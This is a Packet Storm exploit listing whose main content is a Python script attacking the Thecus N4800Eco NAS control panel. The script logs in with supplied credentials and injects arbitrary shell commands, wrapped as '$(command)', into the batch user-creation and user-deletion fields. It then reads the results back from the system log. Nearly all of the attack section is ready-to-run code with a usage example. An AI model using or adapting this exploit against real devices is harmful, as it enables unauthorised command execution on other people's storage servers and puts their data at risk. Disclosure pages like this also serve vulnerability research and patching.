exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Thecus N4800Eco Command Injection

Thecus N4800Eco Command Injection
Posted Jun 2, 2021
Authored by Metin Yunus Kandemir

Thecus N4800Eco NAS server control panel suffers from a command injection vulnerability.

tags | exploit
SHA-256 | d7870fac7e6397017a08b261b256c7b60acc08e3f5738cb24318e34a48335819

Thecus N4800Eco Command Injection

Change Mirror Download
# Exploit Title: Thecus N4800Eco Nas Server Control Panel - Comand Injection
# Date: 01/06/2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: http://www.thecus.com/
# Software Link: http://www.thecus.com/product.php?PROD_ID=83
# Version: N4800Eco
# Description: https://docs.unsafe-inline.com/0day/thecus-n4800eco-nas-server-control-panel-comand-injection


#!/usr/bin/python3
import requests
import sys
import urllib3


# To fix SSL error that occurs when the script is started.
# 1- Open /etc/ssl/openssl.cnf file
# At the bottom of the file:
# [system_default_sect]
# MinProtocol = TLSv1.2
# CipherString = DEFAULT@SECLEVEL=2
# 2- Set value of MinProtocol as TLSv1.0


def readResult(s, target):
d = {
"fun": "setlog",
"action": "query",
"params": '[{"start":0,"limit":1,"catagory":"sys","level":"all"}]'
}
url = "http://" + target + "/adm/setmain.php"
resultReq = s.post(url, data=d, verify=False)
dict = resultReq.text.split()
print("[+] Reading system log...\n")
print(dict[5:8]) #change this range to read whole output of the command

def delUser(s, target, command):
d = {
"action": "delete",
"username": "$("+command+")"
}
url = "http://" + target + "/adm/setmain.php?fun=setlocaluser"
delUserReq = s.post(url, data=d, allow_redirects=False, verify=False)

if 'Local User remove succeeds' in delUserReq.text:
print('[+] %s command was executed successfully' % command)
else:
print('[-] %s command was not executed!' %command)
sys.exit(1)
readResult(s, target)

def addUser(s, target, command):
d = {'batch_content': '%24('+command+')%2C22222%2C9999'}
url = "http://" + target + "/adm/setmain.php?fun=setbatch"
addUserReq = s.post(url, data=d, allow_redirects=False, verify=False)

if 'Users and groups were created successfully.' in addUserReq.text:
print('[+] Users and groups were created successfully')
else:
print('[-] Users and groups were not created')
sys.exit(1)
delUser(s, target, command)

def login(target, username, password, command=None):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
d = {
"&eplang": "english",
"p_pass": password,
"p_user": username,
"username": username,
"pwd": password,
"action": "login",
"option": "com_extplorer"
}
url = "http://" + target + "/adm/login.php"
loginReq = s.post(url, data=d, allow_redirects=False, verify=False)

if '"success":true' in loginReq.text:
print('[+] Authentication successful')
elif '"success":false' in loginReq.text:
print('[-] Authentication failed!')
sys.exit(1)
else:
print('[-] Something went wrong!')
sys.exit(1)
addUser(s, target, command)

def main(args):
if len(args) != 5:
print("usage: %s targetIp:port username password command" % (args[0]))
print("Example 192.168.1.13:80 admin admin id")
sys.exit(1)
login(target=args[1], username=args[2], password=args[3], command=args[4])


if __name__ == "__main__":
main(args=sys.argv)

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close